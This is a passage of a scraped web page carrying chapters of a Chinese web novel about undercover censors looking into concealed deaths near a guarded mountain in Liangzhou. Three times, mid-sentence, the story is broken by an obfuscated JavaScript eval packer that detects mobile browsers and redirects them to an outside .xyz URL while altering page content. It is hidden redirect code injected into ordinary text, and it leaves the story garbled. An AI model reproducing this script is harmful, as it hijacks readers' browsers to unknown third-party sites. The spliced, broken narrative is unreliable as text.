她暗笑自己,从来美男不易细分,只以气宇轩昂之类的用词形容,看起来都差不多。 刘哲站在台上,迅速将方才演讲者的观点过滤了一遍,极速搜索了自己肚子里储存的干货,理了理思绪,朗声开口:“《淮南子??兵略训》指出:同船渡江突遇风浪,不同族人共同举桨划船,如同左右手般配合默契,并非互相感恩戴德,而是因为共同的担忧。” 台下响起乱哄哄的声音:何须浪费口水重复这一点?我等耳朵都听堵了。 刘哲明白众人心思,话锋突然一转,语出惊人:“然方才演讲者所论,皆从战争中的同舟共济角度出发,这是瞎子摸象,以偏概全。” 场内顿时又是一阵嘈杂,“哗众取宠”、“士子空谈”、“小人狂妄”的冷嘲热讽更是不绝于耳。 不乏尖酸刻薄的挖苦,反而激起刘哲的少年血性,虽说演讲非已所愿,但不蒸馒头争口气,不亮出点绝活,这段时日的书都白抄了。他如同被打了鸡血般,气场全开侃侃而谈自己的观点: 孙子兵法所述的同舟共济,不仅指人与人之间,更指团队、集体、军队乃至国家之间的同舟共济。引经据点论述至此并未结束,而是继续引申到更为广阔的领域,非军事行动中的同舟共济。 最终,他潇洒以一句“窃以为同舟共济,应不分敌我,以达目的为是”表明自己的观点后,结束了演讲。 刘睿初看刘哲,以为不过是一名青涩少年,无甚见地,出乎意料的是,刘哲的论证磅礴大气,论据详实充分,再看众人,从初时坐得东倒西歪变为正襟危坐,二位祭酒也是频频点头。 文渊道:“这位弟子站位及眼界与寻常弟子相比显然高出许多,可见其日常所学涉猎范围之广。” 刘睿一惯认同乃至欣赏文渊的博学多识,见她如此一说,突发奇想,回去组建一个少年天团,为朝廷贮备人才,十六号及九号,务必收入其中作为青年后备干将培养。 沉思间,已进入九位学监及左右两位祭酒投票决出名次的最后环节,有好事者猜测状元花落九号,便冲她所举的实例,还有她孙穰苴高徒的身份。 又是一个出乎意料,老学监声音暗哑地公布最终得票最多者为十六号,九号惜以一票落败。 全场一阵沉寂,随即响起热烈的掌声,夹杂着替九号惋惜的叹惜声。 文渊轻声道:“结果虽是意料之外,却也是情理之中,九号胜在精准专业,而十六号胜在大气全面,二人各有千秋。” 刘睿点头表示赞同。 眼看主持孙穰苴笑意盈盈起身宣布:“今日状元为……”,顿了顿, “刘哲”二字即将出口之际,却被一句“十六号非在册的正式弟子,只是助教而已”堵了回去。 如同一石激起千层浪,场内顿时一片哗然。 有人高声道:“期会专为学宫弟子而设,区区一名助教,连正式弟子都不是,如何便能窃取席位参与?” 有人附和:“连参会资格都木有,结果自然作不得数。” 也有人力挺刘哲:“虽说非在册弟子,但助教也是在先生名下求学,往后皆是能入册的。应以成败论英雄,而非以出身论英雄。” 马上有人反驳:“切,说得好听,这等满天过海沽名钓誉之徒便该打回原形。” 一时场内分成两派吵成一团。 萧文渊小声问一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马车出了城门朝长安西北方向疾驰,青绿按捺不住兴奋,满脑子的问题要问管胖子,无奈他鼾声如雷。只得弯腰出了车厢,与阿四并排坐在辕座上,有一句没一句地与阿四闲聊,阿四却只有摇头或点头。 青绿问:“阿四哥是哪的人?” 摇头。 “可娶了娘子?” 摇头。 青绿目光落在他手臂上几条醒目的刀疤上:“因何受这许多刀伤?” 他眼眸一亮,却仍是专注驾车。 青绿没遇到过能把天聊死的人,只好独自欣赏沿途风光。 已过立夏,尽管金灿灿的太阳照着,但风中仍带丝丝寒意,初出城时还是万里江天,木叶苍翠,点缀着黄白色的野菊花,临近祁连山北麓的河西走廊,却是朔风漠漠,戈壁缈缈,天高地迥,别具另一番气象。 看多了一成不变的风景,青绿觉着有些昏昏欲睡,决定回车内当个打盹鹌鹑。 管胖子坐起身来,懒洋洋道:“进入天水地界啦,今夜宿在天水。” 青绿打消了睡意,有些惊奇:“师兄你一直都窝在车内挺尸,如何便知到了何处?” 连日来,管胖子忽高忽低的鼾声一直响个不停,似乎千年不睡,一睡千年。 “早前我当过凉州刺史,常跑这条道。” “刺史,负责凉州监察?” “看来你这段时日没白瞎,还知道刺史是做甚的。” 青绿一副好学弟子的模样:“知道是知道,但刺史的‘刺’是何意?剌你一刀将你置于死地的意思么?” 管胖子忍不住开启嘴瓢模式:“我说丫头,你每日埋头书房简牍是在摸鱼么?连最基本的概念职责都没弄清。” 青绿惭愧:“兰台史太多,分辨不清。” 管胖子听着这话怎么有股子刺鼻味道,赶紧及时止损,不去招惹这个口无遮拦的疯丫头。 因摆出师兄款正色道:“刺史的‘刺’是刺探、检举不法之意;刺史由朝廷派出,仅听命于御史中丞;刺史不设固定治所,每年巡视所辖区域,考察吏治、奖惩官吏、决断冤狱;为防刺史与郡守勾结,每隔三年轮换一次。” 青绿点头:“明白了,刺史的职责是刺探、检举不法的事或人。” 管胖子得意:“嘿嘿,我当过三个州的刺史。” 青绿满眼崇拜:“师兄腻害腻腻害了。”这次吹捧发自真心。 谁曾想这酷酷的胖子在师妹的赞扬面前居然这么软萌,上一秒还故作深沉:“切,这便算厉害啦,老子二十五岁当刺史,那时不胖,简直帅出天际,故寒门弟子娶了士族女子。” 下一秒,胖脸上显出两个酒窝,暗自窃喜:确实厉害! 再下一秒,脸色一沉:“可惜几房娘子没给我生出个带把的。” 青绿恨不得手上有块豆腐,好一头将自己撞死:唉,又来了,有完没完? 管胖子突然盯着青绿问:“宋婶如何?“ 青绿吓了一跳,警惕地看着他:“你想做甚?” 21. 第二十一章 暗探 管胖子咧咧嘴,大言不惭地对青绿道:“宋婶腰细屁股大,好生养,且是生过儿子的,我娶她回去给我生个带把的。” 青绿满眼疑惑:“你都有四位娘子了,还不够?再说娶谁不行,娶个婶娘给你生儿子不合适吧?”心里暗骂:渣男 管胖子一巴掌朝她脑袋扇去,青绿早有防备,在他掌风才起之时已将脑袋缩进了肩膀。 管胖子以过来人的语气教导她:“宋婶不过二十七八年纪,辛苦劳作日晒雨淋显老,捯饬捯饬,不比那些二等宫人逊色,更不用说比你这干瘪瘪的小人,好到天上去了。” 青绿不得不承认管胖子看女人的眼光,宋婶长得不赖,秀发乌黑,脸色红润,特别是擀面时,下盘稳扎,纤细的腰肢有节律地扭动带得前胸波涛汹涌。 青绿脸上写着不爽:“你是皇子么?说得美人都想嫁你似的。此事你说了不算,还得宋婶点头,你胖成这样母猪都不会多看你一眼。”哼,说我瘦,你个死胖子也好不到哪去。 管胖子一撇嘴:“由不得她不愿意。” 青绿杏眼圆睁:“你要强抢民女?天子脚下岂容你胡作非为?” 管胖子一脸鄙夷:“切,霸王硬上弓的事我从来不干,我那几房娘子可都是爱我爱得死去活来。再说,我若敢强抢民女,还当个屁的御史丞,早被你大哥参成筛子了。” 青绿犹自气鼓鼓道:“那你待要如何?” 管胖子信心满满:“我若送她儿子吴雅童去念书,她没有不答应的理。” 青绿冷哼:“那你也是乘人之危。再说,你当人人都如你那几房娘子愿做金丝雀呢,宋婶有手有脚能养活自己,未必愿意给人做小。” “什么乘人之危?我这是实打实的扶贫。别信那些个嘴上说得花花的‘我什么都不能给你,只能给你一颗心’的登徒子,都是骗小姑娘的把戏,若一个人真心对你好,或真金白银砸死你,或替你解决你解决不了的难题。” 青绿不屑:“我才不会上当,我又不开卤味店,要这些心肝肺何用?”皱了皱眉,“宋婶厚道,被你娶了还不得被你家的大家闺秀、小家碧玉、青楼花魁或陛下赐的什么宫人欺负惨了。” “先安顿在外,待生下儿子再进门,那时候她便是咱家的娘娘,谁敢欺负她?”斜撇青绿一眼,“你这丫头,我娶个小娘,你替人操的啥心?” 青绿义正词严:“不想宋婶一朵鲜花插在牛粪上。” 管胖子洋洋自得:“得,你是第一个夸我是鲜花的。” 青绿喟叹:“你能不能更不要脸一些?”气得不想理他了,扭头看向窗外。 却见驿道上车水马龙,因好奇道:“不是说凉州满目荒凉人烟稀少么?为何道上如此繁忙。” “凉州位于河西走廊东端,是中原通往西域的咽喉要道,西域各国来汉的王侯使节及商贾,均走这条驿道。”管胖子不计较她之前的说话,好脾气地解释,又指着一群疾驰而过油光水滑的高头大马,“富商巨贾周流天下,交换丝绸和宝马。” 青绿十分菜鸟地问:“西北狼烟不断,这么长的路程不怕被抢?”有些怕荒凉之地不安全。 “沿途北侧有长城、烽燧、亭障、军屯等军事设施,有诸郡都尉、县尉、乡游徼、亭长等治安官。公文传递、物资转运、人员接送食宿,则有邮驿系统,安全可保。” 青绿点头:“难怪,水陆道上相隔不远便有驿舍,备有食宿、车马和船只。”突然话题一转,“侍御史不是很威风么?明着来办案无人敢阻拦吧。” 在马车上颠簸了半个月,他们没有住过正儿八经的官方驿站,均是悄咪咪寻个小驿站过夜,青绿多少有些遗憾,侍御史待遇也不咋的。 管胖子又是看一副菜鸟的眼神:“兰台办案可明办和暗办,如刺史巡查的方式便是明办,大张旗鼓收集二千石官员的劣行,但目前这个案子只能暗办,三年了,凉州刺史没有汇报过丁点姑藏县的情况,估计是出了岔子。” 青绿点头,又点头,“师兄的肥肚子里不单装了花花肠子,还有蛮多学问的呢。” 管胖子哭笑不得。 青绿默念收获四:侍御史办案,有明办和暗办之分。备注:刺史是坏蛋。 天擦黑时,终于到了姑藏县。 阿四驾着马车在城里转了一圈,最后穿过一条繁华大街,在管胖子首肯下,将车停在一条安静巷子内一处名为域庄的客栈门前。 胖而不失妩媚的掌柜娘子殷勤地迎出门外,满脸堆笑对管胖子道:“客官远道辛苦,奴家小店虽然寒碜,却也应有尽有。” 管胖子不客气道:“三间僻静客房,爷怕聒噪。” 掌柜娘子吩咐伙计:“安顿好马车,将客官行囊拿到二楼东头三间向阳的大房。”笑靥如花,语气不无体贴,“想必客官这个时辰也是饿坏了,店里有上好的羊肉。” 管胖子两只小眼睛熤熤生辉:“一锅红烧羊肉,一樽葡萄酒。” 掌柜娘子将三人让至大堂,麻利摆上碗筷,扑闪着一双媚眼对管胖子道:“可要酒娘弹唱?都是二八佳人,包客官满意。” 管胖子伸出熊掌,拍了拍掌柜娘子浑圆的弹性十足的臀部,骚撩:“我只喜你这身肥肉,那些二八佳人经不住爷折腾。” 掌柜娘子放下手上的茶壶,挤坐在他一人独占的长凳上,将沉甸甸双峰搁在桌面上,调笑着奉迎:“甚好,奴家今夜陪爷翻云覆雨,怕的是爷战不过三个回合。我家店规,扶墙的药渣通通出不了院门。” 管胖子满脸春风:“不出门留着做上门女婿么?” 坐在不远处柜台内的一名干瘦男子嘎嘎笑道:“留着做人肉包子。” 管胖子将一锭银子拍在桌上:“怕怕,吃酒喝肉罢了。” 掌柜娘子站起身,笑得花枝乱颤,半露着的胸前情景竟有些不堪重负。 管胖子直着眼珠子,伸双手做了个托举的姿势。 青绿面无表情坐在桌旁只当没看见,她行走江湖的经历,对诨话和男女互吃豆腐的事早已有了免疫力,但仍免不了暗讽管胖子一句“渣渣”。 膳毕,青绿跟在管胖子身后走上二楼,楼道昏暗的灯光下,感觉一道长长的黑影躲躲闪闪地跟在身后,便紧张地拉了拉管胖子的衣袖。 管胖子停步,大声笑道:“爷消受不起,你盯着爷的屁股也没用。” 掌柜娘子的声音从黑暗中传来:“夜里没事别到处瞎逛,官府管得紧,客官被当匈奴谍子逮去不打紧,怕的是砸了老娘的招牌。” 暗影随即消失。 三人各各回房,一夜无话 翌日,用过早膳,青绿跟着管胖子去了街上最大的绸缎铺,至于为何要去那里,管胖子不说她也不问。 绸缎铺说是最大,其实也就一个门面房。 官胖子一踏进门就咋咋呼呼道:“掌柜的,可收货?” 惹得店内几名正在挑选布料的客人全都扭头看他。 一脸皱纹低头拨弄着算盘珠子的老掌柜,抬头看见阿四抱着的几匹绸缎,两眼一亮,迎上前来道:“爷是长安来的吧,看这绸缎成色,与万客绸缎庄的货相比也不差呢,不知要价如何?” 言罢,伸出满是老人斑的右手。 管胖子抖了抖袖子,也伸右手去握老掌柜的手。 青绿便看见管胖子的宽袖不断抖动,再看二人脸上均带着诡异笑容,不觉有些莫名其妙:谈生意也能谈出阴谋感。 只一会功夫,管胖子松手,老掌柜对管胖子拱了拱手:“爷的货我有意向,请内室详谈。”领着三人去了后院。 一进内室,老掌柜马上变了一副嘴脸,双手抱拳对管胖子打了个千道:“小的蒋木头,何事惊动管爷亲自前来?” 管胖子颔了颔首:“老蒋,打扰了。” 老蒋恭敬道:“不客气,管爷尽管吩咐。” 管胖子直言道:“姑藏县近三年死了近二千人,武威郡不注明死因,显然有意隐瞒。我信不过地方上这些王八羔子,前来看个究竟。” 蒋木头乍一听管胖子所说,吃了一惊:“死这么多?城里竟是没有听到一点风声。”沉吟片刻,“姑藏县令于连生,连续两年课考均评为上等,据说今年也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457175|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得了上等,单等皇帝御批了,有传大司农府属意他出任籍田令。外界传闻于连生是武威郡太守耶律明珠的干儿子。” 管胖子微眯着眼道:“或许这便是关键,姑藏少了这么些人,按理县令应被降级,他却不降反升。”顿了顿,“难道没有人有异议?又或者说县里没有任何反常之处?” 蒋木头皱眉思索了好一会,搓着青筋突暴的双手道:“若说有何事不同寻常,便是前年县衙宣称在西郊密尔台山发现了玉矿,迁徙了部分民众前往开采,愿意举家前往的,官府免费提供食宿。据说城内百姓迁去十之一二。” 一直安静倾听的青绿插话道:“出玉了么?” 蒋木头笑笑:“未曾听说。玉矿三五年不出玉是常事,且玉矿周围由太守府兵把守,外人不得进入,故鲜少有消息传出。” 管胖子抚摸着下巴道:“按理说,采矿是青壮劳力干的活,好端端拖家带口做甚?这里头必定有猫腻。” 正要告辞,蒋木头又道:“这几年,官府对外来人员确是查得紧,衙门以防匈奴谍子之名在各处遍布眼线,且以连坐之罪控制各个客栈,便你们住的域庄,也是官府的眼线。” 回到域庄,掌柜娘子风情万种扭到管胖子身旁道:“爷生意谈妥了?赚大发了吧。”朝他身后看了看,“还有一位小兄弟呢?” 青绿这才注意到,方才下车后,便没有见过阿四。 管胖子笑笑:“八成泡小娘去了,年青人憋不住,容易得内伤。”嘻皮笑脸将手搭在她肩膀上,贴着她耳根道:“想分爷一杯羹?” 青绿瞥见掌柜娘子的脸竟微微有些泛红,便担心地看向前方的柜台,见干瘦男子的目光凶狠地扫过管胖子,她很替管胖子操了一把心。 管胖子迅速收回搁在掌柜娘子肩膀上的手,讪讪道:“算了,爷还没想好做不做药渣。” 青绿在管胖子眼神示意下跟着进了他的客房,不请自坐,待要问何事,突然一个蒙面人悄无声息地从窗口翻了进来,青绿被吓了一跳,本能起身站到管胖子身旁。 蒙面人揭开脸上的黑色面罩,青绿看得清楚,竟是一名细眉大眼,秀鼻樱唇的妙龄女子。 女子对管胖子柔媚一笑,躬身行了个万福:“飞谍处范瑶瑶拜见管绣衣。” 青绿感觉满满的一股子风尘感扑面而来,在脑子里仔细搜索了一下记录,飞谍处是兰台的谍报机构,面前的这位范瑶瑶应该便是兰台谍子了。 范瑶瑶转眼看向青绿,管胖子道:“兰台主薄小凡。” 范瑶瑶对青绿福了一福:“范瑶瑶见过凡主薄。” 青绿回礼:“瑶瑶姐辛苦了。”倒了一杯茶递给范瑶瑶。 范瑶瑶眼底闪过一抹感激:“谢谢凡主薄。” 管胖子问范瑶瑶:“你可清楚县里采矿的事?” 范瑶瑶敛了笑容道:“是有这么回事。前年县衙宣称在西郊密尔台山发现了玉矿,公开招聘民众前往开采。” 管胖子问:“可有办法上山?” 范瑶瑶摇头:“太守府对密尔台山周边进行过清场,方圆几十里并无人家。山上有府兵把守,但凡有擅闯者,一律当盗矿者射杀。”从怀里掏出一张纸,“这是上山的路线图和山上的府兵宿卫图,是我陆续从来客提到的只言片语中凭记忆画出来的,大致方位应该差不离。” 青绿接过她手里的纸条。 管胖子又问:“近几年县里可发生过什么大事?灾情、瘟疫等等,可有死人?” 范瑶瑶紧抿着红唇,认真思索片刻,摇头道:“没有,县里一切都挺正常的。” “太守与县令之间有何关系?” 范瑶瑶摇头:“明面上是干儿子,实际上。”富含深意地一笑,“于连生的大娘子是耶律明珠的干女儿。” 青绿鄙夷:什么乱七八糟的,只要是官场,便都离不开颜色。 管胖子对范瑶瑶道:“你去吧。” 范瑶瑶行了告别礼,戴上面罩,身轻如燕地从原路返回。 青绿才要关窗,一个大汉从窗外翻了进来,她又被吓了一跳。 22. 第二十二章 上山 青绿一看从窗子跳进来的大汉却是阿四,忍不住嘟哝:“路对你们而言,只是走了个寂寞?” 管胖子示意青绿靠近自己,压低声音道:“从目前掌握的情况看,密尔台山有很大问题,就从这里查起。” 青绿道:“你怀疑官府为了封锁消息,把人迁到山上?” 管胖子道:“不排除这种可能。”目光有些犹疑地落在她脸上,“我留在客栈对付掌柜,你和阿四上密尔台山摸一下情况,可敢?” 青绿元气满满道:“不就是上山么?死不了。” 管胖子看着范瑶瑶留下来的纸条,语气凝重:“丫头,密尔台山林密山高,除了靠近山顶有一片开阔处外,四围全是悬崖峭壁,你当真不怕?” 青绿目光坚定道:“不怕,再高的山我也爬过。” 她翻越过越城岭,一般的山在她眼里不值一提。 管胖子仍有些担忧,第一次带她出来办案,便让她单飞,虽说有阿四跟着,可阿四只是暗卫,遇到问题还得青绿自己拿主意,但看她一改日常的凡怼怼而认真听命的样子,又觉着凭她的应变能力,应该问题不大,便叮嘱道:“上不了山不要硬上,回来再作计议。” 翌日辰时,青绿与阿四扮作捡山货的穷小子,骑马跑了两个多时辰,又弃马步行了一个时辰,于申时末来到了山脚下。 密尔台山比青绿想象的还要险峻,简直就是一座天然堡垒,山不算太高,但山势陡峭,壁立千仞,山间浓雾弥漫,山路湿滑难行。 绕着山体走了一圈,发现除了一条蜿蜒曲折、狭窄逼仄的进山通道,别无它路。 青绿与阿四借着树木的掩护走到半山腰,便看见了守在路口的七八名扈从,正凑在一块烤火,早上下过一场雨,空气潮湿阴冷。 一名头发凌乱的青年扈从百无聊赖道:“将近三年了,还要守到猴年马月?换防也行啊,来来去去便我们几十条汉子在这耗着,都成耗子精了。” 一名胡子拉碴的老年扈从脱了袜子,搓着脚丫子道:“说是到年底便撤了。”拿着袜子在火上烘烤,“老子倒是愿意在此守一辈子,啥都不用干。” 袜子烤出的酸爽味,随风飘入藏在灌木丛下的青绿的鼻子里,她胃里一阵翻江倒海,好在午膳吃的大饼早已消化殆尽。 心里抱怨:办案历险便罢了,没人说过要历臭。 一只兔子突然跑出来,闷头闷脑地撞在火堆旁的一棵大树干上,啪地一下,不动了。 青绿看得心痒难耐:小兔子你应该在我身旁壮烈。 老年扈从大喜,走过去捡起兔子:“瞧瞧,这里是块宝地,可以守什么待什么来着?守猪待兔,对,去猎一头山猪栓在树旁,没准一会便有数不清的兔子自个撞上来,便有吃不完的肉。” 青年扈从白了老年扈从一眼:“守你个猪头,哼,守猪待兔,猪守呆兔还差不离。我问你,不上前线哪来的军功?没有军功哪来的升迁?不能升迁哪来的娘子。” 老年扈从麻利剥去兔子皮,用长棍穿了架在火上烤着,笑道:“没有娘子又如何,一人吃饱全家不饿。” 青绿对阿四悄声道:“走,上去看看。” 未曾开步,却见一名壮汉从山路上下来。 老年扈从显然也看到他了,小声说:“老大来了。” 一脚后踢,把兔子踢进火堆里。 扈从们刷地一下全站起来,恭敬地对壮汉行注目礼。 青绿看那壮汉生得五大三粗,手握一条腕口粗的黑色长鞭,好生威猛。 壮汉环视众扈从一眼,右手握鞭敲着左掌心,厉声喝道:“山上当值的都在忙碌巡山,你等却好,把自己亮在明处摸鱼,是怕不被当成靶子还是咋的?都给老子听好了,这里是进山的唯一通道,若有一个外人混进来或有一只鸟飞出去,谁也不想离开密尔台山,就地宰了喂狼。” 青绿听着他说话,想着这是什么人口气如此之大?似乎掌握着山上人的生杀大权。 便听扈从们齐声道:“是,郡丞大人。” 青绿恍然:原来是太守府郡丞,怎么,连他都上山了? 郡丞专司辅佐郡守,掌兵马之权。 再看扈从们,已各各散到阴暗之处,只留两人守着路口的栅栏。 待郡丞走远,青绿对阿四道:“我去试试能否上山,你在这里等着。”阿四一介武人,虽外表化了装,但仍容易引起扈从的怀疑。 青绿背着小背篓,手里拿着一根狗尾巴草,漫不经心地朝山上走去,到了路口,方才斗嘴的两名扈从现身挡住她的去路。 青年扈从板着脸道:“站住,做甚的?没看见这里有路障么?” 青绿扔掉草根,惊讶道:“大哥,我是捡山货的,听说山上有不少宝贝,不捡白不捡,两位大哥,你们让我上山,捡到千年老山参啥的,分你们一半啊。”嘴里嘟囔着,绕过扈从走进栅栏。 通道两旁的岩石后刷地冒出几只箭簇,冷冰冰瞄准了她的脑袋。 青绿小脸吓得煞白,慢慢退回到栅栏外。 老年扈从骂道:“你属兔子的?溜得飞快,再向前走两步就被射成刺猬了。” 青绿瑟缩着肩膀道:“为毛不让上山?总得有个说法吧。我上有老下有小,太奶奶病重等钱抓药,求两位大哥高抬贵手,让我上山捡点山货换钱。” 老年扈从哈哈大笑:“你个小兔崽子下有小?骗山鬼呢。哦,哈哈,是下有小。” 青年扈从道:“叫你滚你就滚,再废话吃老子一枪。”扬起手中长枪作势刺她。 青绿灵活避开,连滚带爬向山下跑去,引得身后扈从惬意大笑。 青绿对阿四道:“这里上不去,下山找个附近的村子住一宿,看看还有什么别的法子。” 阿四默默点头。 已近黄昏,山影树木渐渐变得模糊,森林远处不时传出各种野兽的嗥叫声,此起彼伏,青绿小心翼翼地走在陡峭的山路上,生怕一脚踏空掉入万丈深渊,心里不断祈祷:千万别来个挡路的大虫,那才真是冤家路窄。 想什么来什么,临近山脚,青绿才要松一口气,便突然看见两个黑呼呼的庞然大物,确切地说,是一大一小两头熊瞎子猛地一下跳出来,挡住了他们的去路。 小的背对他们,大小熊面对面互相嘶嗥了一会,又站立起来张牙舞爪捶胸顿足一番,似乎在互相宣誓主权。 青绿心头一震:糟糕,若小熊输了,势必被大熊追着往山上跑,他们无路可退。 怕什么来什么,小熊不敌大熊,转身嗷嗷叫着朝他们跑来,大熊穷追不舍。 阿四抽出双刀迎上前去。 青绿手指扣着飞剑,双目紧盯着跑在前面的小熊。 暗影中,小熊突然人立而起。 青绿突然感觉哪里不对,是小熊奔跑的姿势?还是发出的声音?再看小熊的眼睛,却是凹进脸皮里的,猛然一惊,冷汗刷地冒了出来,脱口而出:“不要杀小熊。” 她在飞剑堪堪脱手的一刹那猛拧手腕,强行将飞剑朝右一歪,飞剑斜飞出去射中了小熊身体右侧。 说时迟那时快,阿四就地腾空跃起,越过小熊,双刀利索地砍向大熊,吃了两刀的大熊,嗷嗷叫着向旁边的森林窜去。 小熊倒地,发出痛苦的呜呜呜哇哇的声音。 青绿跑上前查看,便看见了一双惊恐的眼睛,她一把扯开熊皮,露出了一张约摸十四五岁的少年的脸。 青绿一屁股坐在地上,冷汗涔涔:还好自己反应得快,不然就出人命了。因没好气对少年道:“好端端的为何要扮成一头熊?不怕被猎杀么?你可知方才便差那么一点点,你小命便没了。” 少年用手捂着流血的胳膊,惊恐地看着她,哀求道:“别杀我。” 青绿哼了一声,压下心里的惊慌,撕下自己的衣襟一边替少年包扎伤口,一边尽量放缓语气问:“家住哪儿?是要上山么?” 少年神情骤然变得紧张起来,支支吾吾道:“我家就在山下的村子,我,我没有上山,我要回家。”话没说完,爬起来就朝山下跑。 青绿低喝道:“回来,我们救了你,你就这么走了?” 少年猛然止步,回过头来,神情又变得紧张起来:“哥,你要怎样?我什么都没有。” 青绿定定看着他:“你有办法上山?” 少年身子瑟瑟发抖:“没,我没有办法。外人擅自上山,被扈从逮着要被砍头的。” 青绿拍拍他肩膀:“别怕,我们不是官府的人,只想上山采几味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457176|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药材,急等救命。” 少年神情放松下来。 青绿突然神色一凝,口气变得严厉:“但你有办法上山,不被他们发现,不是么?” 少年拚命摇头:“我没有。” “不,你有。”青绿语气十分肯定,“你带我们上山,不白干,付你五两银子。” 少年低下头,思索良久,似乎在做一个十分艰难的决择,终究抵挡不住银子的诱惑,点头道:“好,我答应你。”犹疑片刻,“但你得付我十两银子,我娘得了痨病,大夫说要十两银子。” 青绿注意到他态度的转变,想了想,怀里掏出一袋银子递给少年:“这是五两,你先拿着,我们平安下山后,再另付你五两。” 少年双眸在黄昏里闪着亮光:“娘和弟弟能吃上一顿饱饭了。”咧着缺了一颗门牙的嘴,对青绿笑了。 青绿感觉自己的眼角有些发涩。 少年领着二人绕到后山,钻进一个不大的山洞,说天黑透了才能上山。 阿四怀里掏出几张玉米面饼子分给青绿和少年,他总能在关键时刻拿出填肚子的吃食。 少年接过饼子,连声道谢。 青绿一边吃,一边问少年的身世。 少年说他姓剻,人称他崩牙崽,家在离密尔台山不远的剻家村,全家靠爹替人采集制作颜料的矿物原料为生,爹带着他跑遍了周围的大山。一次,父子俩在密尔台山下被野猪追得紧,惊慌之下躲进树丛,无意中发现了这个能通往山顶的山洞。 密尔台山前年被封后,爹就不许他再上山。 去年爹意外坠亡,家里断了收入。 最近有颜料商寻到家里,出五两银子买一种名为绒铜矿的矿石,这种矿石能制作出罕见的天青色,方圆百里只有密尔台山上有这种极为稀少的矿石。他不忍病重的娘和瘦得皮包骨的弟弟连顿饱饭都吃不上,便应了下来。 披熊皮是怕遇到山上的扈从,不料遇到了真熊本熊,险些丧命。 崩牙崽好奇地问青绿:“哥,你如何知道我有办法上山?”论年纪他未必比青绿小,但个子比她矮了一头,自觉认哥。 青绿笑道:“这个时辰还在这里转悠,不是上山又能做甚?我便赌你有上山的办法,果然被我蒙对了。” 崩牙崽吃完饼子,对青绿道:“我只能带你一人上去。” 阿四举着大刀在他面前一晃。 崩牙崽吓得躲到青绿身后,结结巴巴道:“因为,因为上面的通道很窄,我勉强能通过。” 青绿对阿四道:“无妨,我对付得来,你便在此处等候。” 果如崩牙崽所言,山洞蜿蜒曲折向上,临近顶端最窄处,青绿侧身憋气贴着洞壁堪堪通过,哪怕多吃一个饼子,都只能半途而废。 嗑嗑碰碰上到洞顶,崩牙崽灭了火折子,两手分开遮挡在洞口的密密实实的藤蔓,月光如水银一般泼了进来。他探头瞧了瞧,回头问青绿:“哥,你会爬树么?” 青绿轻松道:“家常便饭。” 崩牙崽放心道:“那就好,你过来,我教你上去的法子。” 青绿挤在崩牙崽身旁,和他一起探头朝外看,顿觉如大雪天被冷水浇头,从头凉到脚。 洞口就在崖壁上,向上离山顶大约三丈的距离,向下是万丈深渊,无任何落脚之处,只有一颗横空出世的松树贴着崖壁向上生长,伸向山顶的枝干也仅比成人胳膊略粗些。 青绿腿肚子一阵酸软,心虚地问崩牙崽:“就爬这棵树上去?摔下去咋办?” 崩牙崽一直唯唯诺诺的脸上现出几分自豪:“摔不了,我爬了几次都没摔过,你别往下瞧就没事。我先上去,你跟着。”言毕便往外爬。 “等等。”青绿从背篓里取出一根长绳,一头绑在崩牙崽腰间,另一头绑着树干:“你上去后,解下绳子绑在附近的树干上,我这边再拴在腰上,以防万一。” 崩牙崽听话地点头:“听哥的。” 白天下过雨的缘故,天空通透纯净,繁星点点,四周渺无人声,只闻虫鸣。 青绿站在山顶上,借着月色查看四周,落脚处是一块凸出来的岩石,不远处一片开阔的低洼地,有灯火闪烁。因指着光亮处对崩牙崽道:“走,上那边。” 23. 第二十三章 死人 青绿和崩牙崽朝灯光方向走去,没走多远便闻到一股恶臭,抬头看去,多团蓝色火焰发着幽光在前面飘飘复复,甚是瘆人。 崩牙崽下意识地拉住了她的衣袖,满脸惊恐道:“哥,我已经带你上山了,要做甚你自己去吧,我就不去了。” 青绿皱眉:“你不想要剩下的五两银子了?说好的我平安下山才给你。” 崩牙仔顿了顿足。 一阵风吹来,蓝色火焰突然散开朝他们飘来,吓得崩牙仔闷哼一声:“鬼,鬼来了。”扭头就要跑。 青绿一把抓住他:“再跑,鬼来抓你哦。” 少年双腿一软,险些摔倒。 青绿一把扶住他,笑着安慰道:“别怕,逗你玩呢,凡埋有尸骨的地方,夜里都有这种蓝火。” 崩牙崽看看淡定的青绿,似乎不怎么害怕了。 青绿道:“走,看看去。” 崩牙崽腿又是一软,试图劝阻她:“哥,死人有甚看头,怪吓人的。” 青绿面无惧色:“死人不可怕,可怕的是活着的坏人。” 逾走得近了,更觉阵阵腐臭味扑鼻而来,青绿胃里又是一阵翻江倒海。她掏出帕子捂住口鼻,解下头巾递给崩牙仔让他也捂上,拉着他继续朝前走。 突然,她全身一阵颤抖,不由自主后退了几步。 